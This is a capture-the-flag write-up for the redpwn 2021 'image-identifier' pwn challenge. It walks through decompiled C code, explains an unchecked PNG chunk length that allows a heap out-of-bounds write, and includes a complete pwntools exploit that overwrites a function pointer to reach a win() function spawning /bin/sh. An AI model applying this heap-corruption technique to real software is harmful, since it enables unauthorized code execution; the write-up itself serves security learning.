P-W-N

Redpwn CTF 2021 Image-Identifier writeup

Intro

Heres the second one.

Description

image

Oddly enough I solved this challenge before simultaneity, despite this having less solves overall, probably due to its complexity. The description would suggest some sort of image parser (of course the name is image-identifier). So lets run it and see.

We are given a Dockerfile and a binary, chal. No libc this time so no need for any patching shenanigans. If we run checksec (like i forgot for simultaneity) we can see what our options will be:

image

So PIE is off, and no libc is provided. That combined with having only Partial Relro means that the intended solution probably involves calling/overwriting some function in the binary/Global Offset Table. If we run the program:

image

We can see it asks for the size of our image file. Upon supplying a size we can then supply our image content. Supplying some junk, predictably does nothing but make the program complain about unidentifiable format, then exits. It seems we won’t be able to fully explore the program functionality unless we understand how to make an image with an identifiable format, so lets crack it open in ghidra.

Reversing

Thankfully the file isn’t stripped (its a pwn challenge, not rev thank god) so we can still maintain some semblence of sanity. So whats in main()? Quite alot when compared to simultaneity (cant take a screenshot bcuz its too big, will just dump the code here):

undefined8 main(void)

{
  int retval;
  long in_FS_OFFSET;
  char yes_no;
  int image_length;
  undefined4 invert_image_colours;
  int img_type;
  void *image_alloc;
  code **image_fops;
  long cookie;
  
  cookie = *(long *)(in_FS_OFFSET + 0x28);
                      /* setup buffering for lil old me awww */
  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  puts("welcome to the image identifier service\n");
  puts("How large is your file?\n");
  retval = __isoc99_scanf("%d",&image_length);
  if (retval != 1) {
                      /* supposedly 'invalid' file size but doesn't bail out :) */
    puts("invalid file size");
  }
                      /* malloc will return '0' if it fails (aka, size too big). However this doesn't
                         help us, AT ALL. */
  image_alloc = malloc((long)image_length);
  getchar();
  image_fops = (code **)malloc(0x18);
  puts("please send your image here:\n");
  fread(image_alloc,(long)image_length,1,stdin);
                      /* read from the start of our input/image to determine the type of image. From
                         here different fops will be used for each image type. */
  img_type = validateHeader(image_alloc);
                      /* No checks happen on the chunks/footer if we use bmp. Because the functions
                         are basically nops LMFAO. :( just realised my dumbass didn't see that they
                         just exit() immediately. */
  if (img_type == 1) {
    *image_fops = bmpHeadValidate;
    image_fops[1] = bmpChunkValidate;
    image_fops[2] = bmpFooterValidate;
  }
  else {
    if (img_type != 2) {
      puts("unidentifiable format");
                      /* WARNING: Subroutine does not return */
      exit(1);
    }
                      /* However if we have the mis-fortune to use png, there are a myriad of checks
                         and fucky shit we have to do to get a valid file produced. */
    *image_fops = pngHeadValidate;
    image_fops[1] = pngChunkValidate;
    image_fops[2] = pngFooterValidate;
  }
                      /* generates a 256 byte-long sequence */
  make_crc_table();
                      /* ghidra fucked up the args. This will either be bmpHeadValidate() or
                         pngHeadValidate(). */
  retval = (**image_fops)(image_alloc,image_length,image_length,*image_fops);
                      /* if the above is sucessful, we can increment image_alloc by 33 bytes. If our
                         allocation is smaller that that, we can write out of bounds n shit */
  if (retval == 0) {
    puts("valid header, processing chunks");
                      /* Offset can be added to quite a bit, and if your allocation is only 16
                         bytes (minimum) this may be incremented out of bounds, and into the
                         image_fops array... Interesting... */
    image_alloc = (void *)((long)image_alloc + (long)offset);
    invert_image_colours = 0;
    puts("do you want to invert the colors?");
    retval = __isoc99_scanf("%c",&yes_no);
    if ((retval == 1) && (yes_no == 'y')) {
      invert_image_colours = 1;
    }
    while ((ended == 0 && ((long)image_alloc < (long)image_fops))) {
                      /* until there are no chunks left to check. Also check that image_alloc doesn't
                         get incremented out of bounds (but what if it already has been ;) ). */
      image_alloc = (void *)(*image_fops[1])(image_alloc,invert_image_colours,invert_image_colours,
                                                   image_fops[1]);
    }
    (*image_fops[2])(image_alloc);
    puts("congrats this is a great picture");
    if (cookie != *(long *)(in_FS_OFFSET + 0x28)) {
                      /* WARNING: Subroutine does not return */
      __stack_chk_fail();
    }
    return 0;
  }
                      /* WARNING: Subroutine does not return */
  exit(1);
}


Lets go though this, step by step. First things first we setup the stack canary, disable buffering, and then we get our size

  puts("welcome to the image identifier service\n");
  puts("How large is your file?\n");
  retval = __isoc99_scanf("%d",&image_length);
  if (retval != 1) {
                      /* supposedly 'invalid' file size but doesn't bail out :) */
    puts("invalid file size");
  }
                      /* malloc will return '0' if it fails (aka, size too big). However this doesn't
                       help us, AT ALL. */
  image_alloc = malloc((long)image_length);
  getchar();

And pass it to malloc((long)image_length). This means that we control the allocation size completely with our size. The smallest possible allocation we can supply is 16 (all chunks are at least this).

Now we get to an interesting part. After our allocation is created, another subsequent allocation is created:

  image_fops = (code **)malloc(0x18);

Ghidra rightly identified this as a pointer to a list of pointers. In particular code/function pointers. The size request of 0x18 would indicate 3 of these function pointers, and this is exacty right, as you will see. The position of this allocation being directly after our ‘image’ allocation will be particularly relevant later, props if you can already guess why :).

  puts("please send your image here:\n");
  fread(image_alloc,(long)image_length,1,stdin);
                    /* read from the start of our input/image to determine the type of image. From
                       here different fops will be used for each image type. */
  img_type = validateHeader(image_alloc);

Now we can see the familiar dialogue for recieving an image over stdin. The program uses fread() for this which is pretty cool as regardless of how many badchars we send (carriage returns, newlines, etc) that would normally terminate a scanf() this will read until it has read (long)image_length bytes and wont stop until that point.

We then send our now full input buffer to the function validateHeader.

longlong validateHeader(void *image_alloc)

{
  int memcmp_res;
  longlong image_format;
  
  memcmp_res = memcmp(image_alloc,&bmpHead,2); // if first 2 bytes match bmpHead (0x4D42)
  if (memcmp_res == 0) {
    image_format = 1;
  }
  else {
    memcmp_res = memcmp(image_alloc,&pngHead,8); // or, if the first 8 match pngHead (0x0A1A0A0D474E5089)
    if (memcmp_res == 0) {
      image_format = 2;
    }
    else {
      image_format = 0;
    }
  }
  return image_format;
}

This simply compares the the first few bytes of our image to identify the format, comparing 2 header values bmpHead and pngHead. Whichever matches first will be our format, or, if it finds nothing probably an unidentifiable format. Coming back into main() we can see that this is the case:

  if (img_type == 1) {
    *image_fops = bmpHeadValidate;
    image_fops[1] = bmpChunkValidate;
    image_fops[2] = bmpFooterValidate;
  }
  else {
    if (img_type != 2) {
      puts("unidentifiable format");
                    /* WARNING: Subroutine does not return */
      exit(1);
    }
                    /* However if we have the mis-fortune to use png, there are a myriad of checks
                       and fucky shit we have to do to get a valid file produced. */
    *image_fops = pngHeadValidate;
    image_fops[1] = pngChunkValidate;
    image_fops[2] = pngFooterValidate;
  }

You can see the puts("unidentifiable format") we got before. You can also see that our image_fops array of function pointers is being assigned some values based on the identified header. If validateHeader() though it was a bmp, we get a corresponding set of Validate function pointers for that format, same with png. If we didn’t match with any of the identifiable headers we simply exit; the point of this program is to identify images, no point going on if it cannot identify it.

Crypto pwn, really -_-

Next we do something strange:

                    /* generates a 256 byte-long sequence */
  make_crc_table();

And if we then look into this function:

void make_crc_table(void)

{
  uint count_byte;
  uint counter;
  int counter2;
  
                    /* 256 bytes... */
  counter = 0;
  while ((int)counter < 0x100) {
    count_byte = counter & 0xff;
                    /* for each bit of those bytes */
    counter2 = 0;
    while (counter2 < 8) {
      if ((count_byte & 1) == 0) {
        count_byte = count_byte >> 1;
      }
      else {
        count_byte = count_byte >> 1 ^ 0xedb88320;
      }
      counter2 = counter2 + 1;
    }
                    /* write the result to the global var: 'crc_table' */
    *(uint *)(crc_table + (long)(int)counter * 4) = count_byte;
    counter = counter + 1;
  }
  return;

Thats fine, my first reaction was “what the fuck?” too. But looking a bit deeper we see all it really does is shift + xor stuff and then assign the result, byte by byte to the global variable crc_table until we have assigned 0x100 bytes of garbage wierdness there. The name crc_table may sound familiar, Cyclic redundancy check anyone? I’m not a crypto person, so I just looked it up on google

image

Don’t get too hung up on this, as its only used to ‘check’ our image header once, and is mostly to attach “check values” to each ‘chunk’ of our image (look at the function names for *ChunkValidate function pointers). Specifically make_crc_table is responsible for creating a so called generator polynomial

` Specification of a CRC code requires definition of a so-called generator polynomial. This polynomial becomes the divisor in a polynomial long division, which takes the message as the dividend and in which the quotient is discarded and the remainder becomes the result. `

You don’t need to care about this too much. Just know that this crc_table will be used, at some point later, along with some data from our image to generate a “check value” for parts of our image which will then be appended to the end of each part.

Thanks wikipedia

Okay so now we have that insanity out of the way we can move onto more reversing:

Image and chunk processing

Right after make_crc_table(), we call into the first element of our function pointer list

                    /* ghidra fucked up the args. This will either be bmpHeadValidate() or
                       pngHeadValidate(). */
  retval = (**image_fops)(image_alloc,image_length,image_length,*image_fops);

The comment basically says it all. So lets clean that up a bit

                    /* ghidra fucked up the args. This will either be bmpHeadValidate() or
                       pngHeadValidate(). */
  retval = (**image_fops)(image_alloc);

If we look at the function definition of any of the *HeadValidate functions we see they both only take one or 2 args; the image_alloc and length. I guess because this is more of an indirect call into a list of function pointers ghidra has some trouble identifying what exactly the arguments are, since from ghidra’s perspective we could call any function. Anyway, lets look at what could be called here based on the value of our header, starting with bmpHeadValidate().

void bmpHeadValidate(long image_alloc,uint size)

{
                    /* alot simpler than the checks on the png header; no CRC stuff, just checks 3
                       bytes (?) of the header to verify. */
  if (size != ((int)*(char *)(image_alloc + 6) << 0x18 |
              (int)*(char *)(image_alloc + 4) << 8 | (int)*(char *)(image_alloc + 3) |
              (int)*(char *)(image_alloc + 5) << 0x10)) {
    puts("invalid size!");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  return;
}

So this actually takes 2 args, rather than pngHeadValidate which takes only 1. This is effectively just a call to exit(1) if you provide an incorrect bmp size, which for this bmp format is at byte+3 to 6 (remember the bmp header thingy is only 2 bytes). But if you do provide a correct size we return nothing, so this function is for all intensive purposes a nop. This is the case for all the bmp functions; the others just havent been implemented in the program and just exit when called. So its fairly clear that we sould focus on the png functions instead:

undefined8 pngHeadValidate(long image_alloc)

{
  uint PNG_header;
  undefined8 bad_header;
  
  if (*(char *)(image_alloc + 0xb) == '\r') {
                    /* if image_alloc+0xb == '\r' we can increment offset by 33 in total :))) */
    offset = offset + 0xc;
                    /* Generate a checksum for the next 0x11 bytes of our file.
                        */
    PNG_header = update_crc(image_alloc + 0xc,0x11);
    offset = offset + 0x15;
    if (PNG_header ==
        ((int)*(char *)(image_alloc + 0x1d) << 0x18 |
        (int)*(char *)(image_alloc + 0x20) & 0xffU |
        ((int)*(char *)(image_alloc + 0x1f) & 0xffU) << 8 |
        ((int)*(char *)(image_alloc + 0x1e) & 0xffU) << 0x10)) {
      bad_header = 0;
    }
    else {
      puts("invalid checksum!");
      bad_header = 1;
    }
  }
  else {
    offset = offset + 8;
    puts("bad header");
    bad_header = 1;
  }
  return bad_header;
}

First thing this does is check if there is '\r' at image_alloc+0xb. If we don’t supply this we immediately return with “bad header”. However if we do, we increment the global variable offset by 0xc. offset sort of represents where/what position we are at when processing the image. In this case we just checked byte 0xb for '\r', so incrementing offset by 0xc ensures that we move past that byte into new pastures.

We then use the update_crc function. This is responsible for generating a “check value” for our CRC, based off the contents of crc_table, and will generate said value from image_alloc+0xc for 0x11 bytes.

uint update_crc(char *image_alloc,int len)

{
  char *local_20;
  uint local_10;
  int counter;
  
  local_10 = 0xffffffff;
  counter = 0;
  local_20 = image_alloc;
  while (counter < len) {
    local_10 = *(uint *)(crc_table + (ulong)(((int)*local_20 ^ local_10) & 0xff) * 4) ^
               local_10 >> 8;
    local_20 = local_20 + 1;
    counter = counter + 1;
  }
                    /* a really fancy way of 'return 0;', but we sort of control what goes here, a
                       lil bit anyway. */
  return ~local_10;
}

Understanding the algorithm is not important, just know that it produces a value that we can (somewhat) control from image_alloc, then nots it (~local_10). It does this by looking up a value, byte by byte from crc_table based on the value of each byte from our input. Recall that crc_table is 256 bytes long, thus having a value for every possible byte lookup. It then performs some operations that we don’t really care about (at least I dont).

    offset = offset + 0x15;
    if (PNG_header ==
        ((int)*(char *)(image_alloc + 0x1d) << 0x18 |
        (int)*(char *)(image_alloc + 0x20) & 0xffU |
        ((int)*(char *)(image_alloc + 0x1f) & 0xffU) << 8 |
        ((int)*(char *)(image_alloc + 0x1e) & 0xffU) << 0x10)) {
      bad_header = 0;
    }

Coming back to pngHeadValidate, we see that we increment offset again by 0x15. Then we compare the bytes returned by update_crc with 4 bytes of our input from image_alloc + 0x1d and if they match, we set bad_header to false/0 and then return, if they dont match we return true instead. If we do return 0:

  if (retval == 0) {
    puts("valid header, processing chunks");
                    /* Offset can be added to quite a bit, and if your allocation is only 16
                       bytes (minimum) this may be incremented out of bounds, and into the
                       image_fops array... Interesting... */
    image_alloc = (void *)((long)image_alloc + (long)offset);
    invert_image_colours = 0;
    puts("do you want to invert the colors?");
    retval = __isoc99_scanf("%c",&yes_no);
    if ((retval == 1) && (yes_no == 'y')) {
      invert_image_colours = 1;
    }

We now begin “chunk processing”. This is the process that I discussed earlier; we dissect an image into chunks, and assign them each a “check field”. First however we increment our image_alloc by offset. This is used to step over the header and into the ‘chunks’ of the image. Now we decide wether or not we want to invert the image colours. This will be very important later, but not for inverting the colour.

Now we finally get to the real meat of this program - where the actual chunk processing happens:

    while ((ended == 0 && ((long)image_alloc < (long)image_fops))) {
                    /* until there are no chunks left to check. Also check that image_alloc doesn't
                       get incremented out of bounds (but what if it already has been ;) ). */
      image_alloc = (void *)(*image_fops[1])(image_alloc,invert_image_colours);
    }

This loops through each image chunk, periodically checking that we don’t start processing image chunks in the image_fops allocation. So what do we do for each chunk and why would this check be needed. Do we write anything into/after each chunk during processing. Yes :). Here im going to show you the code thats relevant only for processing chunks when colour-inversion was enabled, as the rest of it is pretty useless, although of course you can read it if you want.

This image_fops[1] will, for us be pngHeaderValidate so lets look at that:

  image_4_bytes =
       (int)*(char *)image_alloc << 0x18 |
       (int)*(char *)((long)image_alloc + 3) & 0xffU |
       ((int)*(char *)(image_alloc + 1) & 0xffU) << 8 |
       ((int)*(char *)((long)image_alloc + 1) & 0xffU) << 0x10;
  crc_write_int = image_4_bytes + 4;
  __s1 = image_alloc + 2;
  iVar2 = memcmp(__s1,&end,4);
  if (iVar2 == 0) {
    ended = 1;
  }

First things first, we extract 4 bytes from the chunk, then memcmp’ at those bytes +2 with an end value. If this comes out correct, we have reached the marked end of our image. This means we can stop the chunk loop right here if we stick end at the correct place in our image/input. If we are not ended, we can go onto processing our image with colours inverted:

  else {
    if (invert_colours == 1) {
      counter = 0;
      while (counter < image_4_bytes) {
        *(byte *)((long)(image_alloc + 4) + (long)(int)counter) =
             ~*(byte *)((long)(image_alloc + 4) + (long)(int)counter);
        counter = counter + 1;
      }
      check_value = update_crc(image_alloc + 2,crc_write_int,crc_write_int);
      image_alloc = (undefined2 *)((long)(image_alloc + 2) + (ulong)crc_write_int);
                    /* This looks really promising. If we can control what value returns from
                       update_crc we can write whatever we wwant here, potentially an address or some bytes? */
      *image_alloc = check_value;
      image_alloc = image_alloc + 2;
    }
// [---snipped---]
  return image_alloc;
}

Now we go through our chunk and ‘not’/invert each byte, one at a time using the extracted image_4_bytes as the size of our chunk so we know when to stop iterating. After we do that we call update_crc with the controlled value from image_alloc+2, then write this check_value into our chunk, then incrementing our image_alloc by 2 to move on to the next chunk.

So this function is called in a loop, until we either go beyond image_alloc and into image_fops, or if we set a special end value in one of our chunks, cool.

Finally, we return back into main, then call the last of the function pointers, pngFooterValidate, then return:

    (*image_fops[2])(image_alloc);
    puts("congrats this is a great picture");
    if (cookie != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
      __stack_chk_fail();
    }
    return 0;
  }

(Im not gonna talk about pngFooterValidate as its not particularly relevant either, you’ll find out why soon.) Now that we have a good idea of what the program does + how it does it, we can move on to exploiting the program.

Exploitation

The bug in particular is here, in pngChunkValidate. The image_4_bytes variable is extracted from our image_alloc and is meant to signify the size of the chunk (how many bytes to invert/not, in our case). It will iterate over image_4_bytes bytes, and doesnt check whether the number extracted is larger than what space we have in our allocation. We can use this to invert/not bytes outside of our allocation, but this isn’t its only use.

  image_4_bytes =
       (int)*(char *)image_alloc << 0x18 |
       (int)*(char *)((long)image_alloc + 3) & 0xffU |
       ((int)*(char *)(image_alloc + 1) & 0xffU) << 8 |
       ((int)*(char *)((long)image_alloc + 1) & 0xffU) << 0x10;
  crc_write_int = image_4_bytes + 4; // This oroginates from the same `image_4_bytes`, just adding 4 tho
// [--snipped--]
  else {
    if (invert_colours == 1) {
      // [--snipped--]
      }
      // src of this update_src is user controlled
      check_value = update_crc(image_alloc + 2,crc_write_int,crc_write_int);
      // add the value to our allocation. Since no checks are done on image_4_bytes, none are done here either
      image_alloc = (undefined2 *)((long)(image_alloc + 2) + (ulong)crc_write_int);
      // we write the check_value at the new image_alloc. This may write waaay our of bounds if the size is right
      *image_alloc = check_value;

tldr: we get a controlled write-where with check_value onto the heap, and there is a function pointer that will be called in the adjacent allocation :).

I havent mentioned this until now, but there is a win() function in the binary that looks like this:

void win(void)

{
  system("/bin/sh");
  return;
}

A desirable target, no? (bear in mind that PIE is also off)

So our goal here is to overwrite pngFooterValidate with the check_value returned from update_crc(). There is a question though. Due to the unpredictable, complex nature of the update_crc() algo, we cannot directly influence the output. So how would we find an input that would result in an output from update_crc() of the address of the win() function? Well let me show you my exploit:

from pwn import *                                                                                                                    

##Gdb + config stuff
script = '''
b *main+160
b *pngHeadValidate
b *update_crc
b *update_crc+98
b *pngChunkValidate+27
b *pngChunkValidate+160
b *pngHeadValidate+244
b *main+449
continue
'''

## Making the image meta-stuff
# Size of image, but also size of the allocation. This will give us 0x41 regardless tho lel.
img_sz = 0x29
# For passing the first check
pngHead = 0x0a1a0a0d474e5089
# We need this @ index 29 // 0x1d. Since the value at image_alloc+0xc is always the same, we can just see what value it spits out of update_crc
# then input that value as our checksum. This will pass the check every time.
checksum = 0x5ab9bc8a

## Lets make our png.
# Just some stuff to pass initial checks
png = p64(pngHead) + b"\r" * (7)
# Padding until the 29th // 0x1d byte (start of checksum)
png += b"A"*( 0x1d - len(png) )
# This value will be returned from update_crc if you provided 
png += p32(checksum)
# Counter for update_crc will be '\x27', this is enough to write out of our chunk up until the pngFooterValidate function pointer, at which point 
# we write 2 bytes extracted from the return of crc_update.
png += b"\x00"*3 + b"\x27"
# Bruteforced value - ensures that crc_update returns the correct value, such that the last 2 bytes are set to 0x1818 that then is written 
# at the end of the pngFooterValidate function pointer in the adjacent allocation. This function pointer is then called == shell, because these
# are the bottom 2 bytes of win().
png += p32(0xb18)
# Padding so we send the correct num of bytes
png += b"\x00" * (img_sz - len(png))

# Just making sure we still good.
print(len(png))

def main():
    # Connect/start proc
    
    p = process("./chal")
    #p = remote("mc.ax", 31412)
    #gdb.attach(p, script)
    
    print(p.sendlineafter("How large is your file?\n\n", str(img_sz)))
    
    print(p.sendafter("please send your image here:\n\n", png))
    
    # This will trigger the code that allows a 2-byte oob write into the function ptrs. Specifically the
    # last 2 bytes of crc_update() ret get written onto the heap, making it one of the only (semi) user controlled
    # values that can be written our of bounds like this.
    print(p.sendlineafter("do you want to invert the colors?", "y"))
    
    p.interactive()

if __name__ == "__main__":
    main()

So initially I construct the image, setting up the checksum and header, etc. The checksum can be obtained as since it is based off of the contents before, the update_crc call will always spit out the same value (unless you change what came before). You an just break at the end of update_crc() in gdb and grab that value, then shove it into the buffer:

image

Then reverse it to reflect how its actually stored in memory:

image

Next we have our image_4_bytes. image_4_bytes+4 or rather crc_write_int is the difference, at the time of the write between the location of pngFooterValidate in image_fops and our allocation pointer at that time, meaning that when we add that value via image_alloc = (undefined2 *)((long)(image_alloc + 2) + (ulong)crc_write_int);, image_alloc will point directly at pngFooterValidate on the heap.

image

Next in the exploit we have a mysterious value, 0xb18 and then padding to satisfy the size for fread(). So what exactly is this value? Well as you know we want directly control the output from update_crc, but we do control the input. This value will be passed into update_crc(), and make it spit our a value with the last 2 bytes set as 0x1818, and will thus write these 2 bytes into the pngFooterValidate function pointer:

Before the write:

image

Aaaand after:

image

Fairly obvious what happens next; when the function pointer is called we drop directly into a shell. BOOM.

I was able to find the 0xb18 value via a wierd, unreliable fuzzing script that does what our exploit does, but feeds different values into update_crc as it goes. It then waits for a small duration and then p.poll()s the connection. If p.poll() returned None we can guess that it maybe just didn’t exit before our arbitrary timeout, or more likely just didn’t exit by itself. And this could be a possible indication of us getting a shell/or some other wierdness happening. You can find that in this folder.

Sorry this one was a bit long winded, but I got there eventually. This is my last writeup for redpwn 2021. I’m not gonna bother making writeups for the other 3 I solved because they were sort of trivial; no one needs a full writeup for those.

HTP